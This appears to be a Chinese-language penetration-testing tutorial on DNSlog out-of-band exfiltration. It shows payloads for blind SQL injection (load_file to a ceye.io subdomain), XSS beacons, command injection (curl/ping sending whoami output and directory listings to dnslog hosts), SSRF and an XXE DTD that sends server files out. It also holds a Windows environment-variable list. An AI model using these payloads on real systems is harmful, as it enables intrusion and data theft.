原理:
首先需要有一個可以配置的域名,比如:ceye.io,然后通過代理商設置域名 ceye.io 的 nameserver 為自己的服務器 A,然后再服務器 A 上配置好 DNS Server,這樣以來所有 ceye.io 及其子域名的查詢都會到 服務器 A 上,這時就能夠實時地監控域名查詢請求了,圖示如下。
DNS在解析的時候會留下日志,咱們這個就是讀取多級域名的解析日志,來獲取信息
簡單來說就是把信息放在高級域名中,傳遞到自己這,然后讀取日志,獲取信息
利用場景:
在sql注入時為布爾盲注、時間盲注,注入的效率低且線程高容易被waf攔截,又或者是目標站點沒有回顯,我們在讀取文件、執行命令注入等操作時無法明顯的確認是否利用成功,這時候就要用到我們的DNSlog注入。
推薦平台:
http://www.dnslog.cn
當然你可以根據開源源碼自己搭建dnslog服務器,這里貼上BugScan團隊開源源碼
https://github.com/BugScanTeam/DNSLog
這里我就拿ceye.io平台 注冊演示。
他會給你一個三級域名,你把信息寫在第四級域名上就好了,比如我這里訪問secquan.xxxx.cece.io ,訪問之后就會有查詢記錄。
A)利用一:sql注入
不論是bool型盲注還是時間型盲注,都需要頻繁的跑請求才能夠獲取數據庫中的值,在現代WAF的防護下,很可能導致IP被ban。我們可以結合DNSLOG完美快速的將數據取出。如遇到MySql的盲注時,可以利用內置函數load_file()來完成DNSLOG。load_file()不僅能夠加載本地文件,同時也能對諸如\\www.test.com這樣的URL發起請求。
show variables like '%secure%';查看load_file()可以讀取的磁盤。
1、當secure_file_priv為空,就可以讀取磁盤的目錄。
2、當secure_file_priv為G:\,就可以讀取G盤的文件。
3、當secure_file_priv為null,load_file就不能加載文件。
通過設置my.ini來配置。secure_file_priv=""就是可以load_flie任意磁盤的文件。
在mysql命令行執行:select load_file('\\\\afanti.xxxx.ceye.io\\aaa');其中afanti就是要注入的查詢語句
查看平台,dnsLog被記錄下來。
PS:稍微解釋一下這個語句,這里使用concat函數將(select database())得到的內容作為查詢url的一部分,和我們的平台三級域名拼接組合成一個四級域名,而load_file函數會通過dns解析請求,所以我們在dnslog平台就可以看到查詢的記錄(包含着我們注入出的數據)
對於表段,由於load_file()一次只能傳輸一條數據,所以查詢的時候需要使用limit來一個一個的解析。
B) 利用二:XSS跨站
通過盲打,讓觸發者瀏覽器訪問預設至的鏈接地址,如果盲打成功,會在平台上收到如下的鏈接訪問記錄:
payload:><img src=http://xss.xxxx.ceye.io/aaa>讓src請求我們的dnslog平台
C) 利用三:命令執行
針對不回顯的命令注入漏洞,我們很難確定漏洞的存在並進一步利用,針對這種情況,我們可以利用DNSLOG來獲取命令的執行結果。
*nix
curl http://haha.xxx.ceye.io/`whoami`
ping `whoami`.xxxx.ceye.io
Windows
ping %USERNAME%.xxx.ceye.io
這里的%username%為用戶變量
附上windows常用變量
%APPDATA% : 列出應用程序數據的默認存放位置。
%CD% : 列出當前目錄。
%CLIENTNAME% : 列出聯接到終端服務會話時客戶端的NETBIOS名。
%CMDCMDLINE% : 列出啟動當前cmd.exe所使用的命令行。
%CMDEXTVERSION% : 命令出當前命令處理程序擴展版本號。
%CommonProgramFiles% : 列出了常用文件的文件夾路徑。
%COMPUTERNAME% : 列出了計算機名。
%COMSPEC% : 列出了可執行命令外殼(命令處理程序)的路徑。
%DATE% : 列出當前日期。
%ERRORLEVEL% : 列出了最近使用的命令的錯誤代碼。
%HOMEDRIVE% : 列出與用戶主目錄所在的驅動器盤符。
%HOMEPATH% : 列出用戶主目錄的完整路徑。
%HOMESHARE% : 列出用戶共享主目錄的網絡路徑。
%LOGONSEVER% : 列出有效的當前登錄會話的域名控制器名。
%NUMBER_OF_PROCESSORS% : 列出了計算機安裝的處理器數。
%OS% : 列出操作系統的名字。(Windows XP 和 Windows 2000 列為 Windows_NT.)
%Path% : 列出了可執行文件的搜索路徑。
%PATHEXT% : 列出操作系統認為可被執行的文件擴展名。
%PROCESSOR_ARCHITECTURE% : 列出了處理器的芯片架構。
%PROCESSOR_IDENTFIER% : 列出了處理器的描述。
%PROCESSOR_LEVEL% : 列出了計算機的處理器的型號。
%PROCESSOR_REVISION% : 列出了處理器的修訂號。
%ProgramFiles% : 列出了Program Files文件夾的路徑。
%PROMPT% : 列出了當前命令解釋器的命令提示設置。
%RANDOM% : 列出界於0 和 32767之間的隨機十進制數。
%SESSIONNAME% : 列出連接到終端服務會話時的連接和會話名。
%SYSTEMDRIVE% : 列出了Windows啟動目錄所在驅動器。
%SYSTEMROOT% : 列出了Windows啟動目錄的位置。
%TEMP% and %TMP% : 列出了當前登錄的用戶可用應用程序的默認臨時目錄。
%TIME% : 列出當前時間。
%USERDOMAIN% : 列出了包含用戶帳號的域的名字。
%USERNAME% : 列出當前登錄的用戶的名字。
%USERPROFILE% : 列出當前用戶Profile文件位置。
%WINDIR% : 列出操作系統目錄的位置。
[/size][/align][align=left][size=3]變量 類型 描述
%ALLUSERSPROFILE% 本地 返回“所有用戶”配置文件的位置。
%APPDATA% 本地 返回默認情況下應用程序存儲數據的位置。
%CD% 本地 返回當前目錄字符串。
%CMDCMDLINE% 本地 返回用來啟動當前的 Cmd.exe 的准確命令行。
%CMDEXTVERSION% 系統 返回當前的“命令處理程序擴展”的版本號。
%COMPUTERNAME% 系統 返回計算機的名稱。
%COMSPEC% 系統 返回命令行解釋器可執行程序的准確路徑。
%DATE% 系統 返回當前日期。使用與 date /t 命令相同的格式。由 Cmd.exe 生成。有關 date 命令的詳細信息,請參閱 Date。
%ERRORLEVEL% 系統 返回上一條命令的錯誤代碼。通常用非零值表示錯誤。
%HOMEDRIVE% 系統 返回連接到用戶主目錄的本地工作站驅動器號。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。
%HOMEPATH% 系統 返回用戶主目錄的完整路徑。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。
%HOMESHARE% 系統 返回用戶的共享主目錄的網絡路徑。基於主目錄值而設置。用戶主目錄是在“本地用戶和組”中指定的。
%LOGONSERVER% 本地 返回驗證當前登錄會話的域控制器的名稱。
%NUMBER_OF_PROCESSORS% 系統 指定安裝在計算機上的處理器的數目。
%OS% 系統 返回操作系統名稱。Windows 2000 顯示其操作系統為 Windows_NT。
%PATH% 系統 指定可執行文件的搜索路徑。
%PATHEXT% 系統 返回操作系統認為可執行的文件擴展名的列表。
%PROCESSOR_ARCHITECTURE% 系統 返回處理器的芯片體系結構。值:x86 或 IA64(基於 Itanium)。
%PROCESSOR_IDENTFIER% 系統 返回處理器說明。
%PROCESSOR_LEVEL% 系統 返回計算機上安裝的處理器的型號。
%PROCESSOR_REVISION% 系統 返回處理器的版本號。
%PROMPT% 本地 返回當前解釋程序的命令提示符設置。由 Cmd.exe 生成。
%RANDOM% 系統 返回 0 到 32767 之間的任意十進制數字。由 Cmd.exe 生成。
%SYSTEMDRIVE% 系統 返回包含 Windows server operating system 根目錄(即系統根目錄)的驅動器。
%SYSTEMROOT% 系統 返回 Windows server operating system 根目錄的位置。
%TEMP% 和 %TMP% 系統和用戶 返回對當前登錄用戶可用的應用程序所使用的默認臨時目錄。有些應用程序需要 TEMP,而其他應用程序則需要 TMP。
%TIME% 系統 返回當前時間。使用與 time /t 命令相同的格式。由 Cmd.exe 生成。有關 time 命令的詳細信息,請參閱 Time。
%USERDOMAIN% 本地 返回包含用戶帳戶的域的名稱。
%USERNAME% 本地 返回當前登錄的用戶的名稱。
%USERPROFILE% 本地 返回當前用戶的配置文件的位置。
%WINDIR% 系統 返回操作系統目錄的位置。
%allusersprofile%--------------------所有用戶的profile路徑
%Userprofile%-----------------------當前用戶的配置文件目錄
%Appdata%--------------------------當前用戶的應用程序路徑
%commonprogramfiles%-------------應用程序公用的文件路徑
%homedrive%------------------------當前用戶的主盤
%Homepath%------------------------當前用戶的主目錄
%programfiles%----------------------應用程序的默認安裝目錄
%systemdrive%----------------------系統所在的盤符
%systemroot%-----------------------系統所在的目錄
%windir%----------------------------同上,總是跟systemroot一樣
%tmp%------------------------------當前用戶的臨時目錄
%temp%-----------------------------同上臨時目錄
Windows還可以有這些姿勢
利用HTTP請求將結果使用默認瀏覽器彈出:
for /F %x in ('whoami') do start http://xxx.dnslog.link/%x
利用DNS請求獲取計算機名、用戶名:
獲取計算機名:for /F "delims=\" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.link
獲取用戶名:for /F "delims=\ tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.link
探測目錄文件列表,由於dir有/b參數,不顯示修改日期等信息,只顯示文件名,所以可以彈出:
for /F %x in ('dir /b C:\') do start http://xxx.dnslog.link/[%x].jpg
為了防止內容不適合作為域名的一部分,我們也可以base64編碼后再進行請求。
比如我們在kali下使用curl請求。這里將\n換行換成了-
解碼看看 明顯看到我們ifconfig命令的回顯。
D)利用四:SSRF
這個沒什么好說的,直接上payload,我們直接將ssrf中地址換成我們的dnslog平台
比如原本我們利用的是url=127.0.0.1:8080
利用dnslog就換成 url=xxx.cece.io
然后看我們的dnslog平台是否有服務器的IP來判斷。
E)利用五:XXE
當我們遇到XXE,如果這個XXE漏洞可以解析外部實體,那么不用說,就可以拿來讀取本地服務器文件,這時,我們只需把dtd文件改成這樣
<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://xxxx.ceye.io/%file;'>"
>
%all;
在我們的ceye平台就可以接收到這個讀取的服務器文件了。
最后的最后,關於dnslog利用的腳本自動化
https://github.com/ADOOO/DnslogSqlinj